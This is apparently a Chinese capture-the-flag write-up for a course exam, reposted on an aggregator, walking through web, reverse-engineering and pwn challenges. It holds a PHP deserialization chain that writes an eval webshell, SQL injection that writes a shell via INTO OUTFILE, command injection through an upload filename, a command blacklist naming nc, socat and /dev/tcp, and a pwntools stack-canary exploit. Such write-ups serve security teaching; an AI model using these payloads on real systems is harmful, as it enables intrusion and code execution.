25春期末考

web

瘋狂星期四

先來看一下源碼

分析代碼的黑名單后得知

我們可以用的字符就只剩下

字母a-z(大小寫均可)

數字2

空格

這里的限制太多了

這里比較常用的getallheaders被ban掉了
這里就是用session來做
session_start()開啟session
session_id()獲取session
這里我們要構造一個ls的session

這里既然實現成功了

那么,就之后都只需要改PHPSESSID的值就可以了

可是嘗試用ls /來查看根目錄不成功
這里要注意一個問題PHPSESSID中不可以包含空格所以我們要進行編碼
這里可以看到在數字中只有2沒有被過濾
所以這里就可以聯想到一個函數hex2bin()
這個會將16進制的數字轉換成對應的ASCLL值
這里就可以把ls /轉化一下

然后去傳入

繼續將得到的flag文件名cat

瓦學弟上分記

這里我們開啟環境后看到的是

那么我們就去dirsearch找一下源碼

然后去訪問一下index.php.bak

自動就開始下載

看這個文件名把后綴刪掉,更改為index.php

然后查看

<?php
error_reporting(0);function wadw_decode($str) {$str = base64_decode($str);$str = str_rot13($str);$str = strrev($str);$str = base64_decode($str);$str = strtr($str, 'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');$str = str_rot13($str);$str = strrev($str);return base64_decode($str);
}class Valinit {public $mom;public $think;protected $file;public $valt;public function __destruct() {$this->think = "你成功下載了瓦羅蘭特,成為光榮的瓦學弟 (*∩_∩*)<br>";echo $this->think;echo $this->mom;}public function __call($name, $args) {echo "瓦學弟想要找媽媽,但是自己太菜了找不到媽媽 (~T-T~)<br>";$func = $this->mom->valstud;return $func();}public function __toString() {echo "瓦學弟原來有些基礎覺得這游戲輕輕松松 (ˇ^ˇ)<br>";$this->Valfinal();return "";}
}class Process {public $next;public $data;public $rank;public $test;public function __get($name) {if (md5(md5($this->data))==666) {$this->data = "快了快了,瓦學弟感覺自己馬上就能找到媽媽了 q(@^_^@)p<br>";unset($this->data);} else {$this->next = "奮戰百日瓦學弟發現自己的水平越來越行了 o(*^_^*)o <br>";echo $this->next;return $this->valt;}}
}class Finalo { public $val;private $shell;public function __construct() {$this->val = new Valinit();}public function __unset($name) {echo "瓦學弟成功的找到了媽媽 \(@^o^@)/ <br>";eval($this->shell);}
}class Finalt {public $rank;public $file;public $content;public function __invoke() {echo "經過沒日沒夜的練槍,瓦學弟總算打到神話了 ( ?? ω ?? )y<br>";if ($this->rank === "賦能") {echo "憑借著與生俱來的天賦,瓦學弟最終成為了賦能哥 Y(~^o^~)Y<br>";file_put_contents($this->file, $this->content);}}
}if (isset($_GET['wadw'])) {$wadw = wadw_decode($_GET['wadw']);unserialize($wadw);
} else {echo "你也想打瓦?m(-_-)m<br>";
}?>

接下來來分析一下這段代碼

這一段是最后結果的最重要的代碼

剛才那個簡單的界面就是因為這段

然后我們看到需要滿足一定的條件

那就是參數wada要等于進行了函數wada_decode后的

如果符合,就unserialize() 觸發整個魔術方法鏈。

接下來分析整個過程

首先是一個加密

先吧這個對象$str解出來

根據這個代碼進行

這個代碼進行了幾次過程

function wadw_decode($str) {$str = base64_decode($str);                      // 第 1 步:base64 解碼(最外層)$str = str_rot13($str);                          // 第 2 步:ROT13 變換$str = strrev($str);                             // 第 3 步:字符串反轉$str = base64_decode($str);                      // 第 4 步:base64 解碼$str = strtr($str,'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');// 第 5 步:字符映射還原成標準 base64$str = str_rot13($str);                          // 第 6 步:再次 ROT13 變換$str = strrev($str);                             // 第 7 步:再次反轉return base64_decode($str);                      // 第 8 步:base64 解碼(得到原始數據)
}

那么就逆著這個代碼來

代碼:

<?php
$a = 'new Finalo';
$str = serialize($a);
function decode($str)
{$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);$str = strtr($str, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/','MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/');$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);return base64_encode($str);
}
echo $result=decode($str);

這里就得到了原始的str

看源代碼可以知道這里考的是php反序列化

然后就是找鏈子

先找一下最后要用到的位置

在incoke函數中調用了file_put_contents()

我們可以利用這個函數來寫入木馬

所以必須調用到invoke函數

那調用invoke函數又需要使用到

中的$func這個對象被當作函數用觸發invoke()
觸發call()又需要調用一個找不到的方法Valfinal()
調用這個又要輸出對象使用echo或者print
又需要用到destruct()中的mom這個對象
調用destruct()的話需要在反序列化完成后會自動刪除,調用這個函數
這里就可以構造鏈子

<?php
class Valinit {public $mom;public $think;protected $file;public $valt;
}class Finalt {public $rank;public $file;public $content;
}$a = new Finalt();
$a -> rank = "賦能";
$a -> file = '1.php';
$a -> content = "<?php @eval(\$_POST[1]);?>";$o = new stdClass();
$o->valstud = $a; //觸發__invoke()$b = new Valinit();
$b->mom = $o; //觸發__call()$a = new Valinit();
$a->mom = $b; //觸發__tostring()function decode($str)
{$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);$str = strtr($str, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/','MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/');$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);return base64_encode($str);
}
$str = serialize($a);
echo $result=decode($str);

?將得到的結果進行傳參

顯示以下界面就說明成功了

然后就需要訪問那個馬了

?

admin Pro Max

我們開啟環境后首先看到的是一個登錄界面

既然如此,那就先填個admin賬戶吧

密碼去爆破一下得到密碼也是admin

我們直接登錄

登錄成功

看到下面選項

要找flag

先看看吧

這個樣子一看就好假

看來都是假的

看看地址欄

看的出來登錄以后是一個文件包含,且沒有我們想要的東西

那這個home.php就沒有什么用了

我們就回到登錄界面再看

在用戶名輸入一個單引號嘗試閉合看看

那就是sql注入了,而且單引號是被禁用了的

所以就猜測,后臺語句是

select * from `TG1u` where user='$username' and password='$password';

所以這個單引號逃逸的技巧就是我們使用\把username后面的單引號轉義掉
然后他最后就變成

select user from user where user='$_POST[username]\' and password='$_POST[password]';

把轉義的符號去掉理解一下

select user from user where user='$_POST[username] and password='$_POST[password]';

所以username的單引號是在passwd前面那個閉合的
這里我們嘗試一下

?這樣就順利到了查字段數

但是這里4太大了

這就說明字段數是2

繼續查回顯位后成功

然后報庫名

這里需要注意的是在查回顯位2的庫名時就會發現后面缺少了3是不行的

那后面的都得帶上3

接下來查表名成功看到了flag又近了一步

接下來就去看flag的內容

這里查內容結果得到一個假的flag

那就得另想辦法


sql寫馬

可以用outfile或者dumpfile命令來寫入

在MySQL中outfile和dumpfile函數都是用來寫入(輸出)文件的,它們的功能相似但存在差異
outfile可以輸出多行內容,而dumpfile只輸出一行內容
outfile會破壞文件原有的數據格式,如(\n會變成\)
所以如果想保持原數據格式進行輸出的話,就需要用dumpfile代替outfile

"寫入的內容" into outfile/dumpfile "絕對路徑"


那么我們就得去看用戶 (因為寫入東西有權限要求)

現在知道了我們的root用戶名

還需要去找該網站的根目錄

?

找到了目錄

接下來就是去寫馬

這里我們試圖寫入結果顯示已存在,那么就成功了

接下來我們再登錄去訪問file參數

這里也證實了寫馬成功

這里最可疑的就是secret

所以我們就cat它

圖床

老樣子,dirsearch

兩個重點,一個是login.php,一個www.zip

很顯然,ww.zip更是我們所需要的東西

解壓后看到是源碼:

login.php:
<?php
session_start();$SECRET_KEY = getenv('SECRET_KEY');if ($_SERVER['REQUEST_METHOD'] === 'POST') {$username = $_POST['username'];$password = $_POST['password'];if ($username === 'TG1u') {if (hash('sha256', $password) === 'cde9db455bafb96f7c2a16e5827335e82a8bf74010c5370f5e95ce69f6ee1302') {$_SESSION['username'] = $username;header('Location: index.php');exit();} else {$_SESSION['admin'] = 'Invalid password';header('Location: login.php');exit();}} else {$_SESSION['username'] = $username;header('Location: index.php');exit();}
}$admin_message = isset($_SESSION['admin']) ? $_SESSION['admin'] : '';
unset($_SESSION['admin']);
?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Login</title><style>:root {--primary: #4361ee;--secondary: #3f37c9;--light: #f8f9fa;--dark: #212529;--success: #4cc9f0;--danger: #f72585;}* {box-sizing: border-box;margin: 0;padding: 0;}body {font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);min-height: 100vh;display: flex;justify-content: center;align-items: center;padding: 20px;}.container {width: 100%;max-width: 400px;}.card {background: rgba(255, 255, 255, 0.95);border-radius: 16px;box-shadow: 0 8px 32px rgba(31, 38, 135, 0.37);backdrop-filter: blur(4px);border: 1px solid rgba(255, 255, 255, 0.18);overflow: hidden;}.card-header {background: var(--primary);color: white;padding: 20px;text-align: center;}.card-body {padding: 30px;}.form-group {margin-bottom: 20px;}label {display: block;margin-bottom: 8px;font-weight: 500;color: var(--dark);}input[type="text"],input[type="password"] {width: 100%;padding: 12px 15px;border: 1px solid #ddd;border-radius: 8px;font-size: 16px;transition: border-color 0.3s;}input[type="text"]:focus,input[type="password"]:focus {border-color: var(--primary);outline: none;box-shadow: 0 0 0 3px rgba(67, 97, 238, 0.2);}.btn {display: block;width: 100%;padding: 12px;background: var(--primary);color: white;border: none;border-radius: 8px;font-size: 16px;font-weight: 600;cursor: pointer;transition: background 0.3s;}.btn:hover {background: var(--secondary);}.alert {padding: 12px;border-radius: 8px;margin-bottom: 20px;}.alert-danger {background: #f8d7da;color: #721c24;border: 1px solid #f5c6cb;}.info {text-align: center;margin-top: 20px;color: #6c757d;font-size: 14px;}</style>
</head>
<body><div class="container"><div class="card"><div class="card-header"><h1>Welcome to ImageShare</h1></div><div class="card-body"><?php if (!empty($admin_message)): ?><div class="alert alert-danger"><?php echo htmlspecialchars($admin_message); ?></div><?php endif; ?><h2 style="text-align: center; margin-bottom: 20px; color: #343a40;">Login to Continue</h2><form action="login.php" method="post"><div class="form-group"><label for="username">Username</label><input type="text" id="username" name="username" required autofocus></div><div class="form-group"><label for="password">Password</label><input type="password" id="password" name="password" required></div><button type="submit" class="btn">Login</button></form></div></div></div>
</body>
</html>

在這里面我們就可以看到正確的用戶名和密碼

所以用戶名:TG1u

但是這個密碼就不一樣了

密碼只告訴了我們被sha256加密后的

那么我們就得想辦法去拿到這個沒有被加密的

在線網站:哈希彩虹表在線查詢|MD5在線解密加密|SHA1在線解密加密|SHA256在線解密加密|SHA512在線解密加密|GEEKAPP開發者在線工具

這樣我們就順利地登錄了!

?現在就進入了upload.php界面

那么就來看看它的源碼吧:

upload.php:
<?php
session_start();function allowed_file($filename) {$allowed_extensions = array('png', 'jpg', 'jpeg', 'gif', 'bmp', 'webp');$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));return in_array($ext, $allowed_extensions);
}if (!isset($_SESSION['username'])) {header('Location: login.php');exit();
}if (!file_exists('./uploads')) {mkdir('./uploads', 0777, true);
}if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (!isset($_FILES['file'])) {$_SESSION['admin'] = 'No file selected';header('Location: upload.php');exit();}$file = $_FILES['file'];if ($file['name'] === '') {$_SESSION['admin'] = 'No file selected';header('Location: upload.php');exit();}if (!allowed_file($file['name'])) {$_SESSION['admin'] = 'Only image files are allowed (png, jpg, jpeg, gif, bmp, webp)';header('Location: upload.php');exit();}$file_path = uniqid() . '_' . $file['name'];move_uploaded_file($file['tmp_name'], './uploads/' . $file_path);header('Location: upload.php?file_path=' . urlencode($file_path));exit();
}$admin_message = isset($_SESSION['admin']) ? $_SESSION['admin'] : '';
unset($_SESSION['admin']);$username = $_SESSION['username'];
?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Upload Image</title><style>:root {--primary: #4361ee;--secondary: #3f37c9;--light: #f8f9fa;--dark: #212529;--success: #4cc9f0;--danger: #f72585;}* {box-sizing: border-box;margin: 0;padding: 0;}body {font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;background: linear-gradient(135deg, #43e97b 0%, #38f9d7 100%);min-height: 100vh;display: flex;justify-content: center;align-items: center;padding: 20px;}.container {width: 100%;max-width: 600px;}.card {background: rgba(255, 255, 255, 0.95);border-radius: 16px;box-shadow: 0 8px 32px rgba(31, 38, 135, 0.37);backdrop-filter: blur(4px);border: 1px solid rgba(255, 255, 255, 0.18);overflow: hidden;}.card-header {background: var(--primary);color: white;padding: 20px;text-align: center;position: relative;}.user-info {position: absolute;top: 10px;right: 20px;font-size: 14px;background: rgba(255, 255, 255, 0.2);padding: 5px 10px;border-radius: 20px;}.card-body {padding: 30px;}.form-group {margin-bottom: 25px;}.upload-area {border: 2px dashed #ccc;border-radius: 12px;padding: 40px 20px;text-align: center;transition: all 0.3s;background: #f8f9fa;cursor: pointer;}.upload-area:hover {border-color: var(--primary);background: #edf2ff;}.upload-icon {font-size: 48px;color: var(--primary);margin-bottom: 15px;}.btn {display: block;width: 100%;padding: 12px;background: var(--primary);color: white;border: none;border-radius: 8px;font-size: 16px;font-weight: 600;cursor: pointer;transition: background 0.3s;margin-top: 20px;}.btn:hover {background: var(--secondary);}.btn-logout {background: #6c757d;margin-top: 15px;}.btn-logout:hover {background: #5a6268;}.alert {padding: 12px;border-radius: 8px;margin-bottom: 20px;border: 1px solid transparent;}.alert-success {background: #d4edda;color: #155724;border-color: #c3e6cb;}.alert-danger {background: #f8d7da;color: #721c24;border-color: #f5c6cb;}.logout-container {text-align: center;margin-top: 20px;}.uploaded-image {max-width: 100%;margin-bottom: 20px;border: 1px solid #ddd;border-radius: 8px;}</style>
</head>
<body><div class="container"><div class="card"><div class="card-header"><h1>Image Upload</h1><div class="user-info">Logged in as: <?php echo htmlspecialchars($username); ?></div></div><div class="card-body"><?php if (!empty($admin_message)): ?><div class="alert alert-danger"><?php echo htmlspecialchars($admin_message); ?></div><?php endif; ?><?php if (isset($_GET['file_path'])): ?><?php$file_name = $_GET['file_path'];$full_path = './uploads/' . $file_name;$blacklist = array('sh', 'bash', 'zsh', 'ksh', 'csh', 'tcsh', 'nc', 'netcat', 'ncat', 'socat', 'perl', 'python', 'ruby', 'lua', 'wget', 'curl', 'fetch', 'lynx', 'sudo','ssh', 'telnet', 'rsh', 'rexec', 'sftp', 'rm', 'mv', 'dd', 'mkfs', 'chmod', 'chown', 'reverse', 'shell', 'bind', 'pty', 'exec', 'sh -i', '/dev/tcp', '/dev/udp' );foreach ($blacklist as $char) {if (strpos($file_name, $char) !== false) {die();}}if ($_SESSION['username'] === 'TG1u') {     if(allowed_file($full_path)) {if(file_exists($full_path)){$content = file_get_contents($full_path);$b64 = base64_encode($content);$finfo = new finfo(FILEINFO_MIME_TYPE);$mime_type = $finfo->buffer($content);echo '<img src="data:'.$mime_type.';base64,'.$b64.'" alt="Uploaded Image" class="uploaded-image">';} else {echo '<div class="alert alert-danger">File not found.</div>';}} else {        include($full_path);} } else {system('base64 ' . $file_name . ' > /tmp/' . $file_name . '.b64');echo '<div class="alert alert-danger">Sorry, but you are not allowed to view this image.</div>';}?><?php endif; ?><form action="upload.php" method="post" enctype="multipart/form-data"><div class="form-group"><div class="upload-area" onclick="document.getElementById('file-input').click()"><div class="upload-icon">📁</div><h3>Click to select an image</h3><p>or drag and drop your file here</p></div><input type="file" id="file-input" name="file" accept="image/*" style="display: none;" onchange="this.form.submit()"></div><button type="submit" class="btn">Upload Image</button></form><div class="logout-container"><a href="login.php" class="btn btn-logout">Back to Login</a></div></div></div></div>
</body>
</html>

此外其實我們還需要注意到一點:在www文件夾中有一個文件夾名為uploads,其實這就說明我們所上傳的文件都存在這個文件夾中了

進去可以看到有一個已經存在的.htaccess文件?

作用?:拒絕所有用戶訪問所有以? ?.php? 為結尾的文件

接下來來分析一下upload.php文件

有一個白名單:'png', 'jpg', 'jpeg', 'gif', 'bmp', 'webp'

整個代碼的流程就是:先判斷你是否登錄了,沒有登錄就返回登錄界面

????????????????????????????????? ? 然后判斷uploads文件夾是否在,不在就創建

????????????????????????????????? ? 通過POST方法上傳文件,再檢查是否上傳了文件,是否上傳的文件名為空,如果檢查不通過就輸出'No file selected'
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 然后再調用前面已經定義的白名單函數,不符合就輸出'Only image files are allowed (png, jpg, jpeg, gif, bmp, webp)'

????????????????????????????????? ? 如果前面的檢查都通過了,就會使用 uniqid() 防止文件名沖突,并且將上傳結果跳轉回頁面并傳遞路徑。

????????????????????????????????? ? 最后使用 $_SESSION['admin'] 傳遞錯誤信息

整個流程看明白了,那么大致就是要繞過白名單那件事了

上面的分析漏了一大半(只有前端代碼的前面的部分)

在代碼的最下面還有一長段

?這里又看到了一堆黑名單

然后在下面可以看到,當用戶為TG1u時 ,可以執行后續判斷和文件讀取或執行

但是如果只是一個普通用戶,就只能用system

去實踐了一下,確實是,不允許我看而TG1u就可以看到

但是由于文件名的限定,我們上傳的僅僅只是圖片后綴的文件

所以導致沒有辦法將圖片馬里的代碼被執行

這里我們就得好好利用兩個用戶之間權限的差異了

普通用戶里面自帶system函數

?而我們所在get傳參中所上傳的參數存為了變量file_name,也正是這system中所利用的變量

那么我們用? 來截斷前后

這樣這個代碼就會變成

system(base64;command;> /tmp/ ;command; b64);

我們另外開啟一個頁面,登錄普通用戶

并且get傳參傳入file_path=;ls;

?在這個圖片中就證實了前面的代碼執行了

這里可能會有個疑惑點就是為什么會有兩個uploads,其實再仔細比對會發現都有兩個相同的結果

這是因為前面我們的代碼中的system函數里執行了兩次command

既然這樣能看了,我們就去看看uploads剛剛我們用TG1u用戶上傳的文件

經過多次嘗試后,由于我們是普通用戶根本看不了圖片,看到的只是亂碼(無論是原有的還是我們所上傳的)不過

不過在cat我們所上傳的圖片馬時卻收到了火絨的提醒,這說明木馬是上傳成功了,但是由于后綴名而不被當做php代碼被解析,所以去進行連接時會返回數據為空

先不管了

先去找一下flag,依照慣例去看一下根目錄

確實是看到了flag

既然看到了就嘗試cat它一下

由于權限不夠,我們看不了flag

那就必須返回到TG1u的用戶下去進行

但是如果繼續上傳圖片馬并沒有辦法解析成php

這就得注意到一個點“我們的文件上傳方式是POST,而權限的限定的是在GET里的傳參”

那我們就直接寫馬,在get傳參中寫一個木馬文件,后綴名不是圖片形式(因為不會被解析),也不是php形式(因為前文提到的被禁止訪問所有的.php文件)

這里補充一句,之所以可以這么做是因為有文件包含

正好源碼中有

這個利用傳參寫馬需要在普通用戶下進行(還是由于system)

然后我們來ls一下看有沒有了既然有了就回到TG1u下去利用馬來cat flag

先ls看能不能成功

成功,那就cat,但是如果直接cat是無用的

這里就說明我們的權限還是不夠

提權到root(利用sudo命令)

Re

師兄的愛戀故事1(取證)

首先我們下載的是一個名為exe的文件

沒有后綴名,那么我們就去改名為1.exe

那么就看到了師兄

這就說明我們的改名的選擇是正確的

再來看看這個提示

那么就去安裝看看pyinstaller

但是了解后發現其實pyinstaller的作用就是這樣看來利用pyinstaller是不能實現的

因為他的結果就是創了一個exe可執行程序

我還特意去改成了py的后綴

但是報錯


如果你只有 .exe 文件,沒有 .py

那 PyInstaller 是用不了的,因為它不能反編譯 exe 文件

你可能需要用 反編譯工具(比如 pyinstxtractor.py)嘗試提取源碼

?? 總結

你有用途是否能用 PyInstaller
.py 文件打包成 .exe? 支持
.exe 文件想逆向成 .py? 不支持(需要反編譯工具)
  • ? pyinstxtractor.py —— 提取 PyInstaller 包內容

  • ? uncompyle6pycdc —— 將 .pyc 反編譯成 .py

  • ? Python 對應版本(重要!必須匹配)?


?工具準備好后,我們就開始進行反編譯吧

運行命令

python pyinstxtractor.py 1.exe

然后我們就看到了反編譯文件? ?師兄的故事.pyc

然后再用

uncompyle6 "師兄的故事.pyc" > main.py

這里就看到出現了版本問題

再換成pycdc的來解成py文件

成功后得到源碼

看到關鍵語句

這就說明這一段代碼是在進行AES加密

所以需要進行AES解密

所以寫代碼

from Crypto.Cipher import AES# 提供的信息
AES_KEY = b' \xf3\x10\x0bA.\xfe\xd1\xb9\x16\xa2\xde\x03\xc4\xdf\x00'
AES_IV = b',\x19\xd5\xd3\xf5\xf2\xe9\xf7\xd0\xe1\x0e\x98I!J\xcd'
ENCRYPTED_PASSWORD = b'.\xd6nP\x7f@Z\xe4\xb7\xd3\xfb\x82r_/q'
# 創建AES-CBC解密器
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)# 解密數據
decrypted = cipher.decrypt(ENCRYPTED_PASSWORD)# 移除PKCS7填充
pad_length = decrypted[-1]
if pad_length < 1 or pad_length > AES.block_size:print("警告:填充值無效,可能不是PKCS7填充")password = decrypted
else:# 驗證并移除填充if decrypted[-pad_length:] == bytes([pad_length] * pad_length):password = decrypted[:-pad_length]else:print("警告:PKCS7填充驗證失敗,嘗試直接輸出")password = decrypted# 嘗試以多種編碼格式解碼結果
def decode_bytes(data):try:return data.decode('utf-8'), 'utf-8'except UnicodeDecodeError:try:return data.decode('latin-1'), 'latin-1'except:return data, 'hex'# 顯示解密結果
result, encoding = decode_bytes(password)
print("\n" + "="*50)
print(f"密鑰 (hex): {AES_KEY.hex()}")
print(f"IV (hex): {AES_IV.hex()}")
print(f"密文 (hex): {ENCRYPTED_PASSWORD.hex()}")
print("\n解密結果:")
if encoding == 'hex':print(f"原始字節: {password}")print(f"十六進制: {password.hex()}")print(f"Base64: {base64.b64encode(password).decode('utf-8')}")
else:print(f"明文密碼: {result}")print(f"編碼格式: {encoding}")print(f"原始字節: {password}")
print("="*50)

得到了結果

再運行剛才的exe文件

喜歡師兄講的課嗎

獲得的附件名為zip

所以改名為1.zip

然后就得到了一個后綴為apk的文件


🔧 安卓逆向所需工具:

任務工具推薦
反編譯 APKjadx、apktool
分析 .soGhidra、IDA Pro、Cutter、Radare2
解密、調試算法Frida(動態分析)、Python(重寫算法)

那么這里我們就不能用ida來進行反編譯,而是用jadx來進行安卓逆向

這里就得先進入jadx的文件夾中

然后在地址欄輸入cmd來打開Dos命令窗口然后再依次輸入兩個命令

cd lib

java -jar jadx-gui-1.4.4.jar

然后就進入了gui界面的jadx

然后把剛才的apk文件拖到界面中

然后再去找main函數(和ida中一樣)

這里能夠注意到一個xor的存在

重點分析一下這句話呢

不是很懂,問問ai

https://chatgpt.com/s/t_6868ffec2b8881918ff892d10ed88b0d

然后我們就需要去找.so的文件

將獲得的.apk文件修改為.zip文件

然后進入文件夾中找到.so文件,交給ida進行反編譯然后再去找剛剛分析出來的名字

Java_com_example_createso_MainActivity_baby_1xor

然后就找到了

?再來進行分析一下這段代碼

就是獲取了一個數組的長度,然后將這個數組四個為一組,與key進行異或

那么我們就得去找key值這里應該會有key值

那么就看看

但是這里得到的key是假的

其實我們在剛剛的那個界面里去找到那個key數組,然后追蹤就可以得到但是這個追蹤得到的也假,居然是連著的四個數

錯了錯了

這里我們得仔細看一下剛才的hide_key函數里的, 里面顯示的是

key[0]^0x47

key[1]^0x32

key[2]^0x11

key[3]^0x12

?那么這里我們找到的連著的四個數就是key數組

然后寫代碼

# 你在so里拿到的混淆key原始值(舉例,替換成你實際值)
obfuscated_key = [0x56, 0x57, 0x58, 0x59]  # 根據hide_key異或規則解密key
real_key = [obfuscated_key[0] ^ 0x47,obfuscated_key[1] ^ 0x32,obfuscated_key[2] ^ 0x11,obfuscated_key[3] ^ 0x12,
]# 已知密文c
cipher = [119, 9, 40, 44, 106, 84, 113, 124, 34, 93,122, 121, 119, 4, 120, 124, 36, 7, 127, 42,117, 6, 112, 41, 32, 4, 112, 47, 119, 81,123, 47, 33, 81, 40, 120, 114, 24
]# 反向異或恢復flag
flag = [chr(c ^ real_key[i % 4]) for i, c in enumerate(cipher)]print("Flag:", "".join(flag))

?

來咯來咯

得到的是一個exe文件,但是長的像zip

那就改后綴為zip

解壓后得到了一堆txt文件和一個exe文件以及一個文件夾

去把那個exe文件看看

這里最特殊的就是那個d.pyc

就先對它進行反編譯

https://pylingual.io/

看到這個是一個加密過程

但是密文太長了

而且從代碼中可以看到key就是我們從exe反編譯出的txt文件的內容

就用在線工具為我們解密

Fernet 在線解密 | 長亭百川云

看結果大致是一個python代碼

就去看看

找到關鍵代碼

只要我們在程序中輸入“糖果”就會輸出flag

那么這里我們就運行aomo.exe,并輸入糖果

把這個截屏發到微信進行文字提取

pwn

canary

canary這個知識點在我之前的文章里有涉及Canary_canary csdn-CSDN博客

這里我們得到文件后先去checksec文件

?

開啟了canary保護

ida反編譯看看代碼

?非常完美的擁有格式化輸出printf

那就利用這一句來獲得canary的地址

通過覆蓋最低字節,然后再補齊,在原封不動的放回去,達到棧溢出的目的

去看main的棧圖

分析得出cnary在RSP寄存器上,大小為8字節

第一個buf的大小為0x30字節,但是接收的卻是0x100,所以就輸入0x30-0x8+0x1字節,覆蓋掉\x00

然后第二次棧溢出將canary的值再變回來

然后覆蓋返回地址到后門函數就可以cat flag了

from pwn import*
p=remote('172.16.17.201',50079)
backdoor = 0x04011DE
padding = 0x30 - 0x08
p.sendlineafter(b'Tell me your name\n',b'a'*(padding))
canary = u64(p.recvuntil(b'D')[-10:-3].rjust(8,b'\x00'))
print(hex(canary))
payload = b'a' * (0x50 - 0x08) + p64(canary) + b'a' * 0x08 + p64(backdoor)
p.sendline(payload)
p.interactive()

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/88351.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/88351.shtml
英文地址,請注明出處:http://en.pswp.cn/web/88351.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

時間顯示 藍橋云課Java

目錄 題目鏈接 題目 解題思路 代碼 題目鏈接 競賽中心 - 藍橋云課 題目 解題思路 通過%天數,得到一天內的時間,然后/小時單位(換算成毫秒的)得到小時,然后總數減去該小時,得到分鐘數,秒數同理 代碼 import java.util.Scanner; // 1:無需package // 2: 類名必須Main, 不…

STM32F1控制步進電機

一、基礎知識1. 步進電機控制方式脈沖方向控制&#xff08;最常見&#xff09;控制信號&#xff1a;DIR方向&#xff1a;高低電平決定正轉或反轉&#xff1b;STEP脈沖&#xff1a;每個脈沖電機前進一步&#xff08;可通過端口拉高拉低來模擬脈沖&#xff0c;或使用pwm來生成脈沖…

Docker 容器部署腳本

#!/bin/bash# # Author: ldj # Date: 2025-07-08 15:37:11 # Description: 首先刪除舊的容器和鏡像&#xff0c;然后登錄到 Harbor 并拉取最新的鏡像進行部署 # # 顯示每條命令執行情況&#xff0c;便于調試 set -x harbor_addr$1 harbor_repo$2 project_name$3 version$4 po…

OpenCV 4.10.0 移植 - Android

前文: Ubuntu 編譯 OpenCV SDK for Android Linux OpenCV 4.10.0 移植 概述 在移動應用開發領域&#xff0c;Android平臺與OpenCV庫的結合為開發者提供了強大的圖像處理和計算機視覺能力。OpenCV(Open Source Computer Vision Library)是一個開源的計算機視覺和機器學習軟件…

go go go 出發咯 - go web開發入門系列(二) Gin 框架實戰指南

go go go 出發咯 - go web開發入門系列&#xff08;二&#xff09; Gin 框架實戰指南 往期回顧 go go go 出發咯 - go web開發入門系列&#xff08;一&#xff09; helloworld 前言 前一節我們使用了go語言簡單的通過net/http搭建了go web服務&#xff0c;但是僅使用 Go 的標…

編譯OpenHarmony-4.0-Release RK3566 報錯

編譯OpenHarmony-4.0-Release RK3566 報錯1. 報錯問題2.問題解決3.解決方案4.?調試技巧?subsystem name config incorrect in ‘/home/openharmony/OpenHarmony/vendor/kaihong/khdvk_356b/bundle.json’, build file subsystem name is kaihong_products,configured subsy1.…

【PTA數據結構 | C語言版】線性表循環右移

本專欄持續輸出數據結構題目集&#xff0c;歡迎訂閱。 文章目錄題目代碼題目 給定順序表 A(a1?,a2?,?,an?)&#xff0c;請設計一個時間和空間上盡可能高效的算法將該線性表循環右移指定的 m 位。例如&#xff0c;(1,2,5,7,3,4,6,8) 循環右移 3 位&#xff08;m3) 后的結果…

c++-內部類

概念如果一個類定義在另一個類的內部&#xff0c;這個內部類就叫做內部類。內部類是一個獨立的類&#xff0c; 它不屬于外部類。特性1.不能通過外部類的對象去訪問內部類的成員。外部類對內部類沒有任何優越的訪問權限。 2.內部類就是外部類的友元類&#xff0c;參見友元類的定…

.golangci.yml文件配置

version: “2” run: timeout: 5m concurrency: 10 modules-download-mode: readonly linters: default: standard enable: - revive - cyclop settings: staticcheck: initialisms: [ “ACL”, “API”, “ASCII”, “CPU”, “CSS”, “DNS”, “EOF”, “GUID”, “HTML”, …

YOLO模型魔改指南:從原理到實戰,替換Backbone、Neck和Head(戰損版)

前言 Hello&#xff0c;大家好&#xff0c;我是GISer Liu&#x1f601;&#xff0c;一名熱愛AI技術的GIS開發者。本系列是作者參加DataWhale 2025年6月份Yolo原理組隊學習的技術筆記文檔&#xff0c;這里整理為博客&#xff0c;希望能幫助Yolo的開發者少走彎路&#xff01; &am…

Swift 圖論實戰:DFS 算法解鎖 LeetCode 323 連通分量個數

文章目錄摘要描述示例題解答案DFS 遍歷每個連通區域Union-Find&#xff08;并查集&#xff09;題解代碼分析&#xff08;Swift 實現&#xff1a;DFS&#xff09;題解代碼詳解構建鄰接表DFS 深度優先搜索遍歷所有節點示例測試及結果示例 1示例 2示例 3時間復雜度分析空間復雜度分…

【劍指offer】棧 隊列

